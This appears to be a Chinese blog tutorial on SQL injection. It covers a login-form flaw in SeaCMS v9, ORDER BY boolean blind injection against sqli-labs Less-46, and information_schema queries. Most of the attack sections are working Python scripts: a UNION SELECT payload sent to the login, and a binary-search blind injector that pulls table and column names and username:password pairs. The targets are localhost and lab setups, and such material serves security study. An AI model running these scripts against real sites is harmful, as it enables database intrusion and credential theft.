seacmsv9注入管理员账号密码+orderby+limit

一、seacmsv9 SQL注入漏洞

查看源码

复制代码
<?php
session_start();
require_once("include/common.php");
//前置跳转start
$cs=$_SERVER["REQUEST_URI"];
if($GLOBALS['cfg_mskin']==3 AND $GLOBALS['isMobile']==1){header("location:$cfg_mhost$cs");}
if($GLOBALS['cfg_mskin']==4 AND $GLOBALS['isMobile']==1){header("location:$cfg_mhost");}
//前置跳转end
require_once(sea_INC."/main.class.php");
if($cfg_user==0) 
{
	ShowMsg('系统已关闭会员功能!','index.php');
	exit();
}
$hashstr=md5($cfg_dbpwd.$cfg_dbname.$cfg_dbuser); //构造session安全码 
$svali = $_SESSION['sea_ckstr'];
if($dopost=='login')
{
	if($cfg_feedback_ck=='1')
	{
		$validate = empty($validate) ? '' : strtolower(trim($validate));
		if($validate=='' || $validate != $svali)
		{
			ResetVdValue();
			ShowMsg('验证码不正确!','-1');
			exit();
		}
	}
	if($userid=='')
	{
		ShowMsg('请输入用户名!','-1');
		exit();
	}
	if($pwd=='')
	{
		ShowMsg('请输入密码!','-1');
		exit();
	}
 
$userid = RemoveXSS(stripslashes($userid));
$userid = addslashes(cn_substr($userid,60));
 
 
$pwd = substr(md5($pwd),5,20);
$row1=$dsql->GetOne("select * from sea_member where state=1 and username='$userid'");
if($row1['username']==$userid AND $row1['password']==$pwd)
		{
					//验证是否激活邮箱
					require_once('data/admin/smtp.php');
					if($smtpreg=='on'){
						$sql="SELECT acode FROM sea_member where username= '$userid'"; 
						$row = $dsql->GetOne($sql);
						if($row['acode']!='y'){
							showMsg("您的账户尚未激活,请激活后登陆!","index.php",0,100000);
							exit;
						}
					}
					$_SESSION['sea_user_id'] = $row1['id'];
					$uid=$row1['id'];
					$_SESSION['sea_user_name'] = $row1['username'];
					if($row1['vipendtime']<time()){
						$_SESSION['sea_user_group'] = 2;
						$dsql->ExecuteNoneQuery("update `sea_member` set gid=2 where id=$uid");
						$_SESSION['hashstr']=$hashstr;
						$dsql->ExecuteNoneQuery("UPDATE `sea_member` set logincount=logincount+1 where id='$uid'");
						if($row1['gid'] !=2){
							ShowMsg("您购买的会员组已到期,请注意续费!<br>成功登录!","member.php",0,30000);
						}else{
							ShowMsg("成功登录,正在转向会员中心!","member.php",0,3000);
						}
					}else{
						$_SESSION['sea_user_group'] = $row1['gid'];
						$_SESSION['hashstr']=$hashstr;
						$dsql->ExecuteNoneQuery("UPDATE `sea_member` set logincount=logincount+1 where id='$uid'");
						ShowMsg("成功登录,正在转向会员中心!","member.php",0,3000);
					}
					
					
					exit();
 
		}
		else
		{
			ShowMsg("密码错误或账户已被禁用","login.php",0,3000);
			exit();
		}
}
else
{
	$tempfile = sea_ROOT."/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/login.html";
	if($GLOBALS['cfg_mskin']!=0 AND $GLOBALS['cfg_mskin']!=3 AND $GLOBALS['cfg_mskin']!=4  AND $GLOBALS['isMobile']==1)
	{$tempfile = sea_ROOT."/templets/".$GLOBALS['cfg_df_mstyle']."/".$GLOBALS['cfg_df_html']."/login.html";}
	$content=loadFile($tempfile);
	$t=$content;
	$t=$mainClassObj->parseTopAndFoot($t);
	$t=$mainClassObj->parseHistory($t);
	$t=$mainClassObj->parseSelf($t);
	$t=$mainClassObj->parseGlobal($t);
	$t=$mainClassObj->parseAreaList($t);
	$t=$mainClassObj->parseNewsAreaList($t);
	$t=$mainClassObj->parseMenuList($t,"");
	$t=$mainClassObj->parseVideoList($t,-444);
	$t=$mainClassObj->parseNewsList($t,-444);
	$t=$mainClassObj->parseTopicList($t);
	$t=replaceCurrentTypeId($t,-444);
	$t=$mainClassObj->parseIf($t);
	if($cfg_feedback_ck=='1')
	{$t=str_replace("{login:viewLogin}",viewLogin(),$t);}
	else
	{$t=str_replace("{login:viewLogin}",viewLogin2(),$t);}
	$t=str_replace("{login:main}",viewMain(),$t);
	$t=str_replace("{seacms:runinfo}",getRunTime($t1),$t);
	$t=str_replace("{seacms:member}",front_member(),$t);
	echo $t;
	exit();
}
 
function viewMain(){
	$main="<div class='leaveNavInfo'><h3><span id='adminleaveword'></span>".$GLOBALS['cfg_webname']."会员登录</h3></div>";
	return $main;
}
 
function viewLogin(){
	$mystr=
"<ul>".
"<form id=\"f_login\"   action=\"/".$GLOBALS['cfg_cmspath']."login.php\" method=\"post\">".
"<input type=\"hidden\" value=\"login\" name=\"dopost\" />".
"<li><input type=\"input\" name=\"userid\" autofocus class=\"form-control\" placeholder=\"用户名\" /></li>".
"<li><input type=\"password\" name=\"pwd\" class=\"form-control\" placeholder=\"密码\" /></li>".
"<li><img id=\"vdimgck\" src=\"./include/vdimgck.php\" alt=\"看不清?点击更换\" align=\"absmiddle\" class=\"pull-right\" style='width:70px; height:32px;' onClick=\"this.src=this.src+'?'\"/><input name=\"validate\" type=\"text\" placeholder=\"验证码\" style='width:50%;text-transform:uppercase;' class=\"form-control\" /> </li>".
"<li><input type=\"submit\" value=\"登录\" class=\"btn btn-block btn-warning\"/></li>".
"<li class=\"text-center\"><a class=\"text-muted\" href=\"./reg.php\">注册用户</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a class=\"text-muted\" href=\"./member.php?mod=repsw\">找回密码</a></li>".
"</ul>";
	return $mystr;
}
 
function viewLogin2(){
	$mystr=
	"<ul>".
"<form id=\"f_login\"   action=\"/".$GLOBALS['cfg_cmspath']."login.php\" method=\"post\">".
"<input type=\"hidden\" value=\"login\" name=\"dopost\" />".
"<li><input type=\"input\" name=\"userid\" autofocus class=\"form-control\" placeholder=\"用户名\" /></li>".
"<li><input type=\"password\" name=\"pwd\" class=\"form-control\" placeholder=\"密码\" /></li>".
"<li><input type=\"submit\" value=\"登录\" class=\"btn btn-block btn-warning\"/></li>".
"<li class=\"text-center\"><a class=\"text-muted\" href=\"./reg.php\">注册用户</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a class=\"text-muted\" href=\"./member.php?mod=repsw\">找回密码</a></li>".
"</form>".
"</ul>";
	return $mystr;
}

经过源码分析,使用以下语句注入

复制代码
$row1=$dsql->GetOne("select * from sea_member where state=1 and username='$userid'");

直接使用用户的ID去查询的,那么我们有机会从这里下手

复制代码
import requests
 
def get_database_names(url):
    # 构造 SQL 注入查询
    payload = "' UNION SELECT schema_name FROM information_schema.schemata -- -"
    data = {
        "dopost": "login",
        "userid": payload,
        "pwd": "anything"
    }
 
    try:
        response = requests.post(url, data=data)
        return response.text
    except requests.exceptions.RequestException as e:
        print(f"请求失败: {e}")
        return None
 
def extract_database_names(response_text):
 
    database_names = []
    lines = response_text.split("\n")
    for line in lines:
        if "<td>" in line:
            parts = line.split("<td>")
            for part in parts[1:]:
                name = part.split("</td>")[0].strip()
                if name not in database_names and name:
                    database_names.append(name)
    return database_names
 
if __name__ == '__main__':
    # 目标 URL
    target_url = "http://localhost:8000/login.php"
    response = get_database_names(target_url)
    print(response)
    if response:
        databases = extract_database_names(response)
        print("已获取到以下数据库名称:")
        for db in databases:
            print(db)
    else:
        print("无法获取数据库名称。")

回显报错

<html> <body style="margin:0; padding:0"> <center><iframe width="100%" align="center" height="870" frameborder="0" scrolling="no" src="http://safe.webscan.360.cn/stopattack.html "></iframe></center> </body>

二、order by 布尔盲注

sqlilabs靶场第46关,参数sort传入id,如下

参数sort传入username,如下

看源码可知,sort前面是order by,通过sort传入的字段排序

于是用sort=if(表达式,id,username)的方式注入,通过BeautifulSoup爬取表格中username下一格的

值是否等于Dumb来判断表达式的真假,并使用二分查找加快注入速度,从而实现boolen(布尔)

注入,具体代码如下

复制代码
import requests
from bs4 import BeautifulSoup

def get_username(resp):
    soup = BeautifulSoup(resp,'html.parser')
    username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].text
    return username

def inject_database_boolen():
    tables = ''
    i = 1
    while True:
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr(database(),{i},1))>{mid},id,username) -- "
            resp = requests.get(url)
            if 'Dumb' == get_username(resp.text):
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        if mid == 32:
            break
        tables += chr(mid)
        i += 1
        print(tables)

def inject_table_boolen():
    tables = ''
    i = 1
    while True:
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(table_name) from \
                information_schema.tables where table_schema=database()),{i},1))>{mid},id,username) -- "
            resp = requests.get(url)
            if 'Dumb' == get_username(resp.text):
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        if mid == 32:
            break
        tables += chr(mid)
        i += 1
        print(tables)

def inject_column_boolen():
    tables = ''
    i = 1
    while True:
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(column_name) from \
                information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{mid},id,username) -- "
            resp = requests.get(url)
            if 'Dumb' == get_username(resp.text):
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        if mid == 32:
            break
        tables += chr(mid)
        i += 1
        print(tables)

def inject_data_boolen():
    tables = ''
    i = 1
    while True:
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(username,':',password) \
                from users),{i},1))>{mid},id,username) -- "
            resp = requests.get(url)
            if 'Dumb' == get_username(resp.text):
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        if mid == 32:
            break
        tables += chr(mid)
        i += 1
        print(tables)

if __name__ == '__main__':
    # inject_database_boolen()
    # inject_table_boolen()
    # inject_column_boolen()
    inject_data_boolen()

注入结果如下:

三、过滤information_schema解决方案(mysql)

information_schema是信息数据库,其中保存着关于mysql服务器所维护的所有其他数据库的信息。在information_schema中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件,也就是information_schema说一个虚拟数据库,物理上并不存在。

获取所有数据库列表

复制代码
SELECT schema_name FROM information_schema.schemata;

获取表名

复制代码
SELECT table_name FROM information_schema.tables WHERE table_schema = 'database_name';

获取字段名

复制代码
SELECT column_name, data_type FROM information_schema.columns WHERE table_schema = 'database_name' AND table_name = 'table_name';
相关推荐
zyl837211 小时前
前端开发网络安全注意事项
安全·web安全
OpenAnolis小助手1 小时前
Anolis OS Linux Dirty Frag 漏洞安全声明
linux·安全·web安全·龙蜥社区
tingting01192 小时前
敏感目录扫描及响应码
安全
智慧医养结合软件开源3 小时前
规范新增·精准赋能,凝聚志愿力量守护老人安康
大数据·安全·百度·微信·云计算
KKKlucifer5 小时前
数字安全浪潮下国产数据安全企业发展图鉴
大数据·安全
淼淼爱喝水5 小时前
Pikachu 靶场 RCE 模块乱码问题解决方法
网络·安全·pikachu
hahaha 1hhh5 小时前
用SSH 建立了一个本地端口转发隧道,用于安全地访问远程服务器上的服务,后台运行。autodl
服务器·安全·ssh
IT23105 小时前
国产OpenClaw产品崛起:博云BoClaw如何破解AI智能体的「安全与自主」双命题
人工智能·安全
MicroTech20255 小时前
量子安全赋能协同智能,微算法科技(NASDAQ :MLGO)研发PQS-BFL后量子区块链联邦学习框架
科技·算法·安全
Turboex邮件分享5 小时前
邮件系统中的附件处理机制
安全·软件需求